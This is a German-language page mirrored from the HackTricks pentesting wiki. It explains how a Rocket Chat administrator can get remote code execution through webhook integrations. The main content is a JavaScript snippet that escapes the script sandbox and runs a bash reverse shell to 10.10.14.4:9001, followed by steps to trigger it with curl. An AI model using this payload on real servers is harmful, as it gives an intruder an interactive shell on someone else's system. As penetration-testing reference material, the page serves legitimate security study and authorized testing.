mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
37 lines
1.6 KiB
Markdown
37 lines
1.6 KiB
Markdown
# Rocket Chat
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## RCE
|
|
|
|
Wenn Sie Administrator in Rocket Chat sind, können Sie RCE erhalten.
|
|
|
|
- Gehen Sie zu **`Integrationen`** und wählen Sie **`Neue Integration`** und wählen Sie eine: **`Eingehender WebHook`** oder **`Ausgehender WebHook`**.
|
|
- `/admin/integrations/incoming`
|
|
|
|
<figure><img src="../../images/image (266).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
- Laut den [Docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations) verwenden beide ES2015 / ECMAScript 6 ([grundsätzlich JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) zur Verarbeitung der Daten. Lassen Sie uns also eine [Rev Shell für JavaScript](../../generic-hacking/reverse-shells/linux.md#nodejs) wie folgt erhalten:
|
|
```javascript
|
|
const require = console.log.constructor("return process.mainModule.require")()
|
|
const { exec } = require("child_process")
|
|
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
|
|
```
|
|
- Konfigurieren Sie den WebHook (der Kanal und der Beitrag als Benutzername müssen existieren):
|
|
|
|
<figure><img src="../../images/image (905).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
- Konfigurieren Sie das WebHook-Skript:
|
|
|
|
<figure><img src="../../images/image (572).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
- Änderungen speichern
|
|
- Holen Sie sich die generierte WebHook-URL:
|
|
|
|
<figure><img src="../../images/image (937).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
- Rufen Sie es mit curl auf und Sie sollten die rev shell erhalten
|
|
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|